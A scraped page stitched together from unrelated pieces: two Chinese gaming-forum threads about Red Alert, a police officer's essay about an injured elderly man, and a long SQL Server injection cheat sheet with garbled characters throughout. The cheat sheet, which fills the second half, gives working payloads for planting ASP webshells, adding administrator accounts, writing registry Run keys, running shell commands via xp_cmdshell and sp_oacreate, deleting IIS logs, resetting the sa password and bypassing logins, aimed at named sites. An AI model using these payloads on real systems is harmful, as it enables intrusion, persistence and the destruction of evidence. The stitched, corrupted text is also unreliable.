红警中有可以隔山打牛的多功能步兵车是哪个版本?
红警中有可以隔山打牛的多功能步兵车是哪个版本? 主教小浪 发表于:2009-12-29 21:51 发帖 13348 精华:0 注册时间:2009-3-13 大
该帖被浏览 302 次,回复 3 次
红警中有可以隔山打牛的多功能步兵车是哪个版本? 批注: 发表于:2009-12-29 21:51 发帖 精华: 注册时间: 大
步兵车???貌似红警系列里的步兵车都没有隔山打牛的功能吧… 批注: 贤人小浪 发表于:2009-12-29 21:51 发帖 28809 精华:0 注册时间:2009-3-13 大
红色警戒之中国武装,内有可隔着一座山发射小导弹的步兵车~~ 批注: 贤人小浪 发表于:2009-12-29 21:51 发帖 28809 精华:0 注册时间:2009-3-13 大
红色警戒2中国之崛起。里面有中国,有一种车辆很厉害的,介于多功能步兵战车和天启坦克之间 批注:
快速回复主题
发表帖子
[完成后可按 Ctrl+Enter 发布] 使用个人签名 用户名:
密码: 论坛显示名是您在论坛发言时显示的名字,
不能与其他用户的显示名重复,提交后不能修改。
填写显示名:
4到16个字符:中文,英文小写字母,数字或下划线
***:010-82628888 欢迎批评指正
Copyright 1996-2010 SINA Corporation, All Rights Reserved
新浪公司 0) {$('ls_a wer').style.di lay='';$('ls_a wer').focus();} else {$('ls_a wer').style.di lay='none';}">
安全提问(未设置请忽略)
母亲的名字
爷爷的名字
父亲出生的城市
你其中一位老师的名字
你个人计算机的型号
你最喜欢的餐馆名称
驾驶执照最后四位数字
通过论坛,关注跟踪网维大师研发进展
帮助网吧实现一站式服务
搜索本版
红警3有7G多啊!能不能搞个去掉过场动画的精简版本?
[游戏添加]
当前离线
97564 帖子 精华
0 在线时间
1 小时 最后登录
2009-11-6 注册时间
2008-6-29 网维小学一年级, 积分 37, 距离下一级还需 -7 积分
该用户从未签到
97564 帖子 精华
63 点 金钱
322 顺网币 赏金铜勋
59 枚 在线时间
1 小时 最后登录
2009-11-6 注册时间
2008-6-29 发表于 2008-11-7 15:49
红警3有7G多啊!能不能搞个去掉过场动画的精简版本?网吧的空间都紧张啊!
当前离线
5593 UID
8715 帖子 精华
0 在线时间
2487 小时 最后登录
2011-7-22 注册时间
2007-10-31 该用户从未签到
8715 帖子 精华
4777 点 金钱
160228 顺网币 赏金铜勋
509 枚 在线时间
2487 小时 最后登录
2011-7-22 注册时间
2007-10-31 发表于 2008-11-7 16:38
过场动画这个大多是玩家反应不能删除,我们考虑都用户的需求,我们决定不删除。望谅解。
当前离线
113 UID
6588 帖子 精华
0 在线时间
38 小时 最后登录
2011-7-9 注册时间
2007-10-9 网维小学三年级, 积分 113, 距离下一级还需 87 积分
TA的每日心情
2011-7-9 17:40
签到天数: 3 天
[LV.2]偶尔看看I
6588 帖子 精华
142 点 金钱
535 顺网币 赏金铜勋
62 枚 在线时间
38 小时 最后登录
2011-7-9 注册时间
2007-10-9 发表于 2008-11-7 19:33
太大了运行速度慢,玩其他游戏时间长了再来玩它就更慢了~~~~
当前离线
8940 UID
83315 帖子 精华
2 在线时间
2003 小时 最后登录
2011-8-4 注册时间
2008-5-26 TA的每日心情
前天 10:54
签到天数: 28 天
[LV.4]偶尔看看III
83315 帖子 精华
11284 点 金钱
2558 顺网币 赏金铜勋
742 枚 在线时间
2003 小时 最后登录
2011-8-4 注册时间
2008-5-26 发表于 2008-11-7 20:20
7G多。。。
我下载了很久啊 。。。
有玩家反映,刚开始的时候反应很慢呐。。。。
当前离线
530 UID
126501 帖子 精华
0 在线时间
187 小时 最后登录
2010-9-7 注册时间
2008-10-6 网维中学一年级, 积分 530, 距离下一级还需 70 积分
该用户从未签到
126501 帖子 精华
884 点 金钱
6949 顺网币 赏金铜勋
59 枚 在线时间
187 小时 最后登录
2010-9-7 注册时间
2008-10-6 发表于 2008-11-7 21:26
我下载的是无动画版的,解压下才3G,不错不错~~~~
IP***网-2.99元 给你网站带来 1000IP 访问量!http://www.lgd .cn
当前离线
12506 UID
20799 帖子 精华
0 在线时间
1314 小时 最后登录
2010-5-28 注册时间
2007-12-7 网维大学一年级, 积分 12506, 距离下一级还需 7494 积分
该用户从未签到
20799 帖子 精华
8859 点 金钱
538757 顺网币 赏金铜勋
94 枚 在线时间
1314 小时 最后登录
2010-5-28 注册时间
2007-12-7 发表于 2008-11-7 21:36
等待破解。。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http:// .icafe8.com/attachment/26_152953_b8f0e614de1e6d0.jpg');}" onmousewheel="return imgzoom(this);" alt="" />
我成为现象,思想品德不及格,总比没思想好。
当前离线
119220 帖子 精华
0 在线时间
0 小时 最后登录
2009-4-7 注册时间
2008-8-24 网维幼儿园, 积分 12, 距离下一级还需 -2 积分
该用户从未签到
119220 帖子 精华
27 点 金钱
130 顺网币 赏金铜勋
59 枚 在线时间
0 小时 最后登录
2009-4-7 注册时间
2008-8-24 发表于 2008-11-7 22:07
不好联机的咯???
你需要登录后才可以回帖
发表回复
回帖后跳转到最后一页
站长推荐
此版区是软件互动交流区,方便坛友分享自己的心爱软件。体验分享乐趣,服务工作生活。注:版区所有帖子仅代表作者本人意见,不代表本论坛立场。如是商业用途请联系原作者。
GMT+8, 2011-8-5 11:40
, Proce ed in 0.050215 second(s), 17 queries
上网要文明 发言要理性
Powered by Discuz
积分 0, 距离下一级还需杂文、电脑学习资料
( Tue, 7 Jul 2009 05:41:44 +0800 )
Description: 日前值班,接到指挥部门指令说:有一名抢劫车辆的嫌疑人正驾驶抢劫的一辆夏利轿车逃向我们派出所方向。接到指令,我和值班领导一起快速出警,终将嫌疑人抓获。偏巧,我在所里负责刑事案件侦查工作,于是所里调动人员,连夜开展了案件调查。通过调查弄清了案件真相,嫌疑人是在醉酒状态下从一广场处抢劫了一台私家夏利轿车,在逃跑的过程中又将一名走在路边推着“倒骑驴”(东北地区比较普遍的一种人力三轮车,车的方向轮在尾部)收废品的老人撞到,然后继续逃窜,途中被我们截获。 我的感想并不是来自抢劫案件有什么蹊跷或是我们的抓捕如何精彩、及时,而是在案件侦办中,我接触了一个让我感动得落泪的老人和他的“家”,这个老人就是刚才提到的被撞伤的人。他今年56岁,来自河南,在我们所辖区租住二间民房,做流动收购废品的***。在医院里我第一次见到他时,他刚刚术后能够说话(当时被撞脑出血、脊椎、踝骨、腿骨三处骨折)围在他周围的一群人正七嘴八舌的讨论,说着我听不懂的河南话。当我询问伤者是否住在这间病房,得到了肯定答复时,我的心就为之一沉,因为,我确定了,被撞的伤者就是面前这位面颊上布满凌乱胡须的老人。他身上穿了一件千疮百孔的粗布单衣,身体瘦骨嶙峋,脸上干瘪,眼睛挺大,但没有一丝光彩,眼球在眼眶里转动时显得有些发滞,而且略微有些逛荡。老人想要坐起来,被我制止了。我坐在他身边,准备完成询问工作。可是围着他的一群河南人却不容我开口,他们扯着我,用不太标准的普通话要求我,到嫌疑人家去要钱给老人治病。我解释道:我们公安局机关没有裁决权利,也没有处理民事案件的职能,我的职责是来查清案件真相,给受害人一个交代的。但是他们不理解,说,老人只是他们的老乡,一分钱也没有,我不给要来钱医院不给治病,老人只有等死。我一看,情况不好,以前见过类似情况,这是明显的碰到想借机讹诈的“刁民”了,我只好耐心解释,可是我的解释声音太微弱,被淹没在一片埋怨的嘈杂声里。我想还是赶紧离开为妙,等这些所谓的老乡们不在时,再来询问老人。老人好像看出了我的心思,我刚要起身,他一把抓住了我的衣襟:“你别走!”,我心想:坏了,走不掉的话会被这些人羞辱的!但是老人开口说话了:“小伙子,你别走!别听他们吵,你说的话我听明白了。”我一看有了转机,顺势坐回了原处。老人说:“我真的没钱,治疗的费用都是这些老乡给我垫的,你是办案的,你帮我想想办法吧”我的脑子在飞快的旋转:“怎样能帮他呢?一看他的衣服就知道,上面的破洞并不完全是被撞时形成的,而应当原来就是一件破衣服,那么老人的话应该是可信的!可是我一个普通民警,一个月的所有收入就是那1830元的工资,而这些收入我需要交水费、电费、***费,还要供养女儿读书,不时还得赶礼随份子,是一个典型的“还没开支就借钱花”的主,要我怎么帮他呢?他这样的伤情没有几万怎么能治好呀?我首先想到了向朋友去借,可是很快否定了,这老人万一不能还我,我拿什么还人家呀?然后,我又想到了报告领导,请领导帮忙,可是还是否定了,派出所没有一分钱的经费,为了破案,所长绞尽脑汁想办法找钱,脑门子都急青了,也没找来钱,哪里还有救助群众的余钱呢?最后我想到了民政。嗯,也许争取民政部门的救助是可行的办法!”我不动声色等老人说话。老人继续说:“从你说话我就听出来了,你是个好人,不像一般***说话那么伤人,我也不能为难你,你帮我与撞我的那人家属商量一下,看看能不能给我拿钱治病。”我听了,觉得这是一件能办到的事情,于是我翻开案卷,找到嫌疑人家的***与嫌疑人的父亲进行协商,但是嫌疑人的父亲说:“我儿子还在监狱里呢,你们把他放了我就去借钱给你们。”我一听,没得商量了,他儿子抢劫车辆不说,还撞伤人逃逸,弄不好要定过失杀人罪的,那可不是谁能放出来的!我对老人摇摇头说:“大伯,我尽力了,你也听到了,他家里的意见是要求放人呀,我能办到吗?”“嗯,我明白了,小伙子,你放心,我不会给你出难题的。” 顺利完成询问以后,我总是觉得好像亏欠老人什么似的,这种感觉指使我这个万事不求人的***拉下脸皮,跑民政部门去求情,跑被抢车辆的保险公司去哀求,但都是灰头土脸的结果。最后我再次和嫌疑人家属联系,并说明如果能够承担责任,无疑会为嫌疑人争取一个从轻量刑的机会。可是,家属的意见没有丝毫转变! 连办案带跑事,十几天过去了,没有为老人筹到一分钱药费。本来以为多少会给老人争取一点药费,心里已经盘算得到药费以后买点水果去看他,但是由于没有完成老人的求助,没脸见他,也没去看望他。检察院已经批准逮捕了嫌疑人,案卷重新回到我的办公桌上。需要给老人的伤情做鉴定了,这下我没处躲了。简单买了点补品就去医院了,可是护士告诉我,老人只住了不到10天医院,后来没钱治病离开了。我回到所里,查阅卷宗,找到老人一个老乡的***,并依据他的提示领着法医找到了老人租住的房屋。这是一座两间小平房,破败得简直不能相信这就是住人的地方。房门敞开着,我掀开门上挂着的段条少根的塑料门帘,一团黑乎乎的苍蝇扑面而来,硬是将毫无防备的我和法医挡回门外!即便有了心里准备,我和法医进入屋内还是受到了震惊:室内狼藉一片,简陋的无法形容。西屋,靠南边窗户(尽管那窗户上应该***玻璃的地方用了朔料布代替,可那也是窗户呀)的地方放了一张矮小瘸腿的办公桌,桌上有几本小学生的课本和一些作业本,本子上面有两盒治疗於血外伤的中药,桌子上面用粉笔歪歪扭扭地写着“我要努力!”几个字,靠北墙的地方是一张用长短不一的木板拼凑的小床,上面铺了两床漏了棉花的被子,房屋的梁上钉了一颗钉子,一双半旧的黑色儿童球鞋“庄严”(我的感觉)地悬挂在钉子上!西屋没人,我转到东屋。一进门,一股臭味扑鼻而来,低头看,在我的脚边靠近炕的地方有一个浑身是瘪的铝盆,里面约有一大碗的鸡骨头,这就是臭味的根源。屋内地上乱七八糟地堆了一些纸壳。炕上一床看不到本色的褥子上面躺着睡觉的正是我的当事人。我叫醒了他,递上买来的补品,说明来意,为了防止他担心,我一再声明法医鉴定是免费的,不收取任何费用。老人挣扎着要坐起来,但他没有力气,我扶着他坐好并询问他的伤情。他笑着说:”现在还是不能下地,但是看来死不掉了!”我顺嘴问了一句,西屋还住人吗?他说西屋是他12岁的儿子住的,儿子在站前小学读书,他被撞伤回家后,全靠儿子给他喂饭喂药,儿子不会做菜,只能每顿饭爷俩个吃一个鸡架(东北烧烤小吃,鸡的骨骼,上面有时会有一点商贩没能剔净的鸡肉,用炭火烤制)听了老人的诉说,我联想到西屋那没见到面的孩子,我也猜测到办公桌上那歪扭的字迹是出自孩子的手笔。我为老人能有这样一个好孩子感到欣慰,同时也深深地替老人和他的儿子担忧:这还是生活吗?别说是一个成长中的少年,就是壮如牛犊的汉子能在这样的环境里支撑多久呢?法医取了老人的病例资料,为老人照完相以后我们准备离开,可是我该怎么向老人交待呢?是安慰?还是鼓励,是说自己无能还是告诉老人我没碰到有爱心的人?我觉得此刻说什么都是虚伪的、苍白无力的。我默默起身,避开老人期待的眼神,溜出了老人的房间。在西屋我停留了片刻,坐到办公桌前,看着桌子上的粉笔字,仿佛听到了那幼小心灵里发出的强烈呼声,感受到了那孩子的无助和悲哀。也许就是这种无助、悲哀所产生的无穷力量促使他写下了那歪扭的但却是让我感动的人类语言,看着简单的几个字我的眼睛润湿了。我想这是我成年后第一次流泪。我生怕被同来的法医看见取笑,悄悄擦掉泪水,把口袋里仅有的200元钱塞进桌上的书本里,推着法医出了门。 回到单位后,我的心情一直难以平静,总觉自己有话要说,可是说什么?和谁说呢?我只能自己闷在肚子里。前天,和所长谈起群众的生活状况时,这对父子不自觉地出现在我的话题里。所长听了以后,认为我做得很正确,他又掏出200元钱,安排我购置两套行李给老人送去。老人对我说:“你是个真正的***,你们干工作也不容易,要不来钱我也能理解,谢谢你为我了这么多,你放心,我能挺过来的!”听了老人的话,我几乎是跑出去的。我第二次落泪了!
( Wed, 27 May 2009 21:35:19 +0800 )
Description: 1、 用^转义字符来写ASP(一句话木马)文件的方法:
? http://192.168.1.5/di lay.a ?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^< cript language=VBScript runat=server^execute request^("l"^)^/script^c:\mu.a ';-- ? echo ^%execute^(request^("l"^)^)%^c:\mu.a 2、 显示SQL系统版本: ? http://192.168.1.5/di lay.a ?keyno=188 and 1=(select @@VERSION) ? and 1=convert(int,@@version)--
Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.a ,行242 Microsoft OLE DB Provider for ODBC Driver 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporatio Deskto Engine o Window NT 5.0 (Build 2195: Service Pack 4) ' to a colum of data type int. /di lay.a ,行17
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where ame in('firstsee')”的查询语句造成的。
4、 判断xp_cmdshell扩展存储过程是否存在: and 1=(select count(*) FROM master.dbo.sysobject where xtype = 'X' AND ame = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
;exec master.dbo. _addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
5、 向启动组中写入命令行和执行程序:
;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c et user test tlove /add'
6、 查看当前的数据库名称:
? and 0db_name(n) 改成0,1,2,3……就可以跨库了
? and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.a ,行242 Microsoft OLE DB Provider for ODBC Driver 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'huidahouse' to a colum of data type int. /di lay.a ,行17 7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabase 列出所有列的记录
select ame from master.dbo.sysdatabase 仅列出name列的记录
8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC _oacreate 'wscript.shell',@shell output
EXEC _oamethod @shell,'run',null,'cmd.exe /c dir c:\c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC _oacreate 'scripting.filesystemobject',@fso output
EXEC _oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell0
EXEC _oamethod @file,'Readline',@out out
i ert INTO MYTMP(info) VALUES (@out)
EXEC _oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
dro TABLE MYTMP ----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC _oacreate 'wscript.shell',@shell output
EXEC _oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.v et /W3SVC/InProce IsapiA "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ inc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\wi t\system32\inetsrv\a .dll"c:\temp.txt','0','true'
EXEC _oacreate 'scripting.filesystemobject',@fso output
EXEC _oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell0
EXEC _oamethod @file,'Readline',@out out
i ert INTO MYTMP(info) VALUES (@out)
EXEC _oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC _oacreate 'wscript.shell',@shell output EXEC _oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.v et /W3SVC/InProce IsapiA "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ inc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\wi t\system32\inetsrv\a .dll"c:\temp.txt','0','true' EXEC _oacreate 'scripting.filesystemobject',@fso output EXEC _oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell0 BEGIN EXEC _oamethod @file,'Readline',@out out i ert INTO MYTMP(info) VALUES (@out) EXEC _oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC _oacreate 'wscript.shell',@shell output EXEC _oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.v lh1 c:\c:\temp.txt','0','true' EXEC _oacreate 'scripting.filesystemobject',@fso output EXEC _oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell0 BEGIN EXEC _oamethod @file,'Readline',@out out i ert INTO MYTMP(info) VALUES (@out) EXEC _oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三种执行CMD命令的方法:
先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:\wi t\system32\logfiles\W3SVC5\ex050718.log gt;c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC _oacreate 'wscript.shell',@shell output EXEC _oamethod @shell,'run',null,'cmd.exe /c del C:\wi t\system32\logfiles\W3SVC5\ex050718.log gt;c:\temp.txt','0','true' EXEC _oacreate 'scripting.filesystemobject',@fso output EXEC _oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell0 BEGIN EXEC _oamethod @file,'Readline',@out out i ert INTO MYTMP(info) VALUES (@out) EXEC _oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切
? 这里仅给出sysadmin权限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\wi t\system32\ias\ias.mdb','select hell("cmd.exe /c et user admi admin1234 /add")')
? 建立链接数据库'L0op8ack'参考命令:
EXEC _addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
? 如何使用链接数据库:
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合 _addlinkedserver需要sysadmin或setupadmin权限 _addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的
实用性不强,仅作为一个学习总结吧
大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:
? 新建链接服务器”L0op8ack”:EXEC _addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\wi t\system32\ias\ias.mdb';--
? exec _addlinkedsrvlogi 'L0op8ack','false';--或
exec _addlinkedsrvlogi 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
? elect * FROM OPENQUERY(L0op8ack, 'select hell("cmd.exe /c et user")');--
? exec _droplinkedsrvlogi 'L0op8ack','false';--
? exec _dro erver 'L0op8ack';--
再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\wi t\system32\logfiles\W3SVC5\ex050716.log C:\wi t\system32\logfiles\W3SVC5\ex050718.logc:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC _oacreate 'wscript.shell',@shell output EXEC _oamethod @shell,'run',null,'cmd.exe /c copy C:\wi t\system32\logfiles\W3SVC5\ex050716.log C:\wi t\system32\logfiles\W3SVC5\ex050718.logc:\temp.txt','0','true' EXEC _oacreate 'scripting.filesystemobject',@fso output EXEC _oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell0 BEGIN EXEC _oamethod @file,'Readline',@out out i ert INTO MYTMP(info) VALUES (@out) EXEC _oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC _oacreate 'wscript.shell',@shell output EXEC _oamethod @shell,'run',null,'cmd.exe /c et userc:\temp.txt','0','true' EXEC _oacreate 'scripting.filesystemobject',@fso output EXEC _oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell0 BEGIN EXEC _oamethod @file,'Readline',@out out i ert INTO MYTMP(info) VALUES (@out) EXEC _oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用update来更新表中的数据:
;update upload.dbo.admi et wd='a0b923820dcc509a' where username='www';--
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为
10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bc "select * from tem " queryout c:\inetpub\wwwroot\runcommand.a –c –S localhost –U a –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.a 的木马)。
11、创建表、播入数据和读取数据的方法
? 创建表:
' and 1=1 unio elect 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
? 往表里播入数据:
' and 1=1 unio elect 1,2,3,4;DECLARE @result varchar(255) elect to 1 ame from upload.dbo.sysobject where xtype='U' and tatu gt;0,@result output i ert into cyfd (gyfd) values(@result);--
' and 1=1 unio elect 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CO***OLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output i ert into cyfd (gyfd) values(@result);--
? 从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd gt;1)--
? 删除临时表:
';dro table cyfd;--
12、通过SQL语句直接更改sa的密码:
? update master.dbo.sysxlogi et a word=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where id=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。
? 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogi select ame,sid,pa word ,dbid from master.dbo.sysxlogi ? 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec _pa word NULL,'新密码','sa'
13、查询dv 库中所有的表名和表结构:
? elect * from dv .dbo.sysobject where xtype='U' and tatu gt;0
? elect * from dv .dbo.syscolum where id=1426104121
14、手工备份当前数据库:
完全备份:
;declare @a y ame,@ varchar(4000) select @a=db_name(),@s='c:/db1' acku database @a to disk=@ WITH formAT--
差异备份:
;declare @a y ame,@ varchar(4000) select @a=db_name(),@s='c:/db1' acku database @a to disk=@ WITH DIFFERENTIAL,formAT—
15、添加和删除一个SA权限的用户test:
exec master.dbo. _addlogi test,ptlove
exec master.dbo. _addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry 16、select * from ChouYFD.dbo.sysobject where xtype='U' and tatu gt;0 就可以列出库ChouYFD中所有的用户建立的表名。
select ame,id from ChouYFD.dbo.sysobject where xtype='U' and tatu gt;0
? ect * from rdweb.dbo.syscolum (where id=1234)
列出rdweb库中所有表中的字段名称
? elect * from dv .dbo.syscolum where id=5575058 列出库dv 中表id=5575058的所有字段名
18、删除记录命令:delete from Dv_topic where oardid=5 and topicid=7978 19、绕过登录验证进入后台的方法整理:
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1-- 6)or 1=1--
7) or 'a='a
8)" or "a"="a 9) ') or ('a'='a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人气%' and 1=1 and '%'='
20、寻找网站路径的方法汇总:
1)查看WEB网站***目录命令:
? cscript c:\inetpub\admi cripts\adsutil.v enum w3svc/2/root gt;c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件
2)在网站上随便找到一个图片的名字 123.jpg
然后写进批处理程序123.bat:
dir 123.jpg / gt;c:\123.txt
dir 123.jpg / gt gt;c:\123.txt
dir 123.jpg / gt gt;c:\123.txt
执行后 type c:\123.txt
这样来分析网站的路径
3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?
将执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或者500.a 注意输出前Backup这两个文件
dir c:\ gt;%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来访问:
目标ip/2.a 4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Root 获取WEB路径
2003系统:xp_regread读取,未找到方法
(1) 新建一个表cyfd(字段为gyfd):
www.cnwill.com/NewsShow.a x?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路径写进去:
;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CO***OLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output i ert into cyfd (gyfd) values(@result);-- (3) 还是让他不匹配,显示错误: and 1=(select count(*) from cyfd where gyfd gt;1) Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:\Web\烟台人才***后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolea Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:
;dro table cyfd;--
5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.a 页面
regedit命令说明:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
